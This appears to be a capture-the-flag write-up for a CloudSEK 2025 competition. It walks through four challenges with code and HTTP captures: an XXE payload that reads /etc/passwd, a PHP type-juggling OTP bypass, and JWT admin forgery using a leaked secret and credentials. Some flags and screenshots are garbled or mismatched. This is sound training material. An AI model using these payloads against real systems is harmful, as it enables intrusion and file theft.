

CloudSEK CTF Write-Up – Solved Challenges



Flag 1: Nitro Scripting Challenge

Flag: ClOuDsEk_ReSeArCH_tEaM_CTF_2025{ab03730caf95ef90a440629bf12228d4}

Steps Followed

1. Identified a hidden endpoint /task which returned a random string inside an HTML response.
2. From the challenge description, the required logic was:
Reverse the string and Base64-encode the reversed string
Wrap it as:
3. Manual submissions always failed because the server enforced a strict time limit.
4. Created an automation script to:
5. Fetch /task and Extract the string
6. Apply the transformations
7. Immediately POST the result to /submit
8. Automation allowed submission within the allowed time window.

Script: **nitro.py**

A screenshot of a terminal window on a Kali Linux desktop. The terminal shows the command history and the execution of the nitro.py script. The script uses requests and base64 modules to interact with a remote server at http://15.206.47.5:9090. It extracts a random string from the HTML response and performs a Base64 decode on it.

```
File Machine View Input Devices Help
Session Actions Edit View Help
[kali㉿kali]:~]
$ pip --version
pip 20.3.4 from /usr/local/lib/python2.7/dist-packages/pip (python 2.7)
[kali㉿kali]:~]
$ cd Downloads
[kali㉿kali]:~/Downloads]
$ nano nitro.py
[kali㉿kali]:~/Downloads]
$ cat na
cat: na: No such file or directory
[kali㉿kali]:~/Downloads]
$ cat nitro.py
import requests
import base64
import re

BASE_URL = "http://15.206.47.5:9090"
session = requests.Session()

def extract_challenge(html: str) -> str:
    ...
    Extract the random string from the HTML snippet.
    Here we grab all alphanumeric chunks of length >= 8
    and take the last one - usually the actual challenge.
    Adjust if the HTML structure is different.
    ...
    matches = re.findall("[A-Za-z0-9]{8,}", html)
    if not matches:
        raise ValueError("No challenge string found in /task HTML")

kali@kali:~/Downloads]$ ./nitro.py
No challenge string found in /task HTML
```

```

def build_payload(challenge: str) → str:
    """
    Reverse the string, base64-encode it, then wrap:
    CSK_{base64}_2025
    """
    reversed_str = challenge[ :: -1]
    b64 = base64.b64encode(reversed_str.encode("utf-8")).decode("utf-8")
    return f"CSK_{b64}_2025"

def submit_payload(payload: str) → str:
    """
    POST the payload as raw text to /submit.
    """
    r = session.post(
        f"{BASE_URL}/submit",
        data=payload,
        headers={"Content-Type": "text/plain"},
        timeout=2,
    )
    return r.text

def main():
    # Optional self-test using your example string
    test_in = "jQCgwMEGMLK6"
    expected = "CSK_NktMTUdFTXdnQ1Fq_2025"
    test_out = build_payload(test_in)
    if test_out ≠ expected:
        print("[!] Self-test failed, check logic!")
        print("Got      :", test_out)
        print("Expected:", expected)
    else:
        print("[+] Self-test OK")

```

```

if __name__ == "__main__":
    main()

└─(kali㉿kali)-[~/Downloads]
└─(kali㉿kali)-[~/Downloads]
└─$ python3 nitro.py
[+] Self-test OK
[+] Challenge: MopARfBelEhh
[+] Payload: CSK_aGhFbGVcZlJBcG9N_2025
[+] Server says:
Nice automation! Here is your flag: Cl0uDsEk_ReSeArCH_tEaM_CTF_2025{ab03730caf95ef90a440629bf12228d4}
[+] Looks like we got the flag, stopping.

```

Flag 2: Bad Feedback

Flag: ClOuDsEk_ReSeArCH_tEaM_CTF_2025{b3e0bed flcla2b4d5e6f71829384756}

Steps Followed

9. Observed that the feedback form accepted **XML input**.
10. Submitted a normal XML payload to confirm the application parsed XML.
11. Noticed the backend processed user-supplied XML without disabling external entities.
12. Crafted an **XXE payload** to read local files:

```
<!DOCTYPE feedback [  
    <!ENTITY xxe SYSTEM "file:///">>  
]>  
<feedback>  
    <name>test</name>  
    <message>&xxe;</message>  
</feedback>
```

13. The application resolved the external entity.
14. The flag was stored in the **root filesystem** and became accessible via XXE.
15. The response returned the flag content.

Request	Response
<pre>Pretty Raw Hex 1 POST /feedback HTTP/1.1 2 Host: 15.206.47.5:5000 3 Content-Length: 190 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 5 Content-Type: application/xml 6 Accept: */* 7 Origin: http://15.206.47.5:5000 8 Referer: http://15.206.47.5:5000/ 9 Accept-Encoding: gzip, deflate, br 10 Accept-Language: en-US,en;q=0.9 11 Cookie: session= eyJjaGFsbGVuZ2Vvc3RyaW5nIjoiaHFQRENPDZZMTV0IiwiAKNzdWVhXCF0IjoxNzY 0OTk4MjI1LjE0ODA0Njds.AT08UG.NrZbQJVoQxwN6FPpy66KmtzvYcY 12 Connection: keep-alive 13 14 <?xml version="1.0" encoding="UTF-8"?> 15 <!DOCTYPE feedback [16 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 17]> 18 <feedback> 19 <name> &xxe; </name> <message> hello </message> </feedback> 22</pre>	<pre>Pretty Raw Hex Render 1 HTTP/1.1 200 OK 2 Server: Werkzeug/3.1.3 Python/3.11.14 3 Date: Sat, 06 Dec 2025 06:04:27 GMT 4 Content-Type: text/html; charset=utf-8 5 Content-Length: 979 6 Connection: close 7 8 9 <h2> Thank you for your feedback! </h2> 10 <p> Name: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin</pre>

The screenshot shows the Burp Suite interface with the following details:

- Request:** A POST request to `/feedback` with various headers and a complex XML payload.
- Response:** An HTTP 200 OK response from the server, containing an XML response with a `` tag and a `CIOuDsEH_ReSeArCH_tBaHf_CTF_2025` string.
- Inspector:** Shows the XML structure of the response, highlighting the `` tag and the long string.

Flag 3: Triangle

Flag: ClOuDsEk_ReSeArCH_tEaM_CTF_2025{474a30a63ef1f14e252dc0922f811b16}

Steps Followed

1. Intercepted the authentication request sent to /login.php.
 2. Noticed the login required:
 - o Username
 - o Password
 - o Three OTP values ($otp1, otp2, otp3$)
 3. Backend error messages revealed OTP checks were done individually.
 4. Modified the request by sending boolean values instead of numeric OTPs:

```
{  
  "username": "admin",  
  "password": "admin",  
  "otp1": true,  
  "otp2": true,  
  "otp3": true  
}
```

5. Due to PHP loose type comparison, OTP validation succeeded.
 6. Authentication was bypassed and the flag was returned.

The screenshot shows a network request and response in a browser's developer tools. The request is a POST to /login.php with the following headers and body:

```

POST /login.php HTTP/1.1
Host: 15.206.47.5:8080
Content-Length: 102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: /*
Origin: http://15.206.47.5:8080
Referer: http://15.206.47.5:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: sessions=eyJjaGFsbGVUZUVfc3RyaW5nIjoiaHFQRENPWDZMTV0IiwiaDNzdWVhXZF0IjoxNzY0OTk4MjI1LjR0ODA0Njds.aT08Ug.NrZbQJVoQxwN6Fppy66KmtzYcY
Connection: keep-alive
Content-Type: application/json
Content-Length: 97
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json

```

The response is a JSON object containing a message and a flag:

```

{
  "message": "Flag: ClOuDsEk_ReSeArCH_tEaM_CTF_2025{ccf62117a030691b1ac7013fca4fb685}",
  "data": null
}

```

Flag 4: Ticket

Flag: ClOuDsEk_ReSeArCH_tEaM_CTF_2025{ccf62117a030691b1ac7013fca4fb685}

Steps Followed

- Analyzed the Android application using **BeVigil**.
- Discovered hardcoded values in `strings.xml` from report:
 - Internal Port URL - <http://15.206.47.5.nip.io:8443/>
 - Internal Credentials - **tuhin1729 / 123456**
 - Base64-encoded JWT signing secret.
- Decoded the JWT Secret:
 - `str!k3b4nk@1009%sup3r!s3cr37`
- Logged into the internal portal using the leaked credentials.
- Captured the JWT token issued after authentication.
- Decoded the token and confirmed it used **HS256**.
- Forged a new JWT with elevated privileges:

```
{
  "username": "admin",
  "exp": 1965004820
}
```

8. Re-signed the token using the leaked secret.
9. Replaced the original token with the forged admin token.
10. Accessed a privileged endpoint which returned the flag.

The screenshot shows the jwt.io interface. On the left, under 'HEADER: ALGORITHM & TOKEN TYPE', the JSON is:

```
{ "alg": "HS256", "typ": "JWT" }
```

On the right, under 'JSON WEB TOKEN', the token string is displayed as:

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlc2VybmcFtZSI6ImFkbWluIi0tY1MDA0ODIwfQ.K01Rupo7jFYbxEjjnbHzk3F0LOxP_G3X8dT86kUVuek
```

The screenshot shows a browser window at the URL 15.206.47.5.nip.io:8443. The title bar says 'Not secure'. The page header includes the Strike Bank logo and 'Employee Dashboard' with a 'Logout' button. The main content area displays the message 'Welcome to Strike Bank' and 'Secure employee portal for Strike Bank staff.' Below this, it says 'You are logged in as **admin**'. A yellow-bordered box contains the text 'Here is your flag: C10uDsEk_ReSeArCH_tEaM_CTF_2025{ccf62117a030691b1ac7013fca4fb685}'.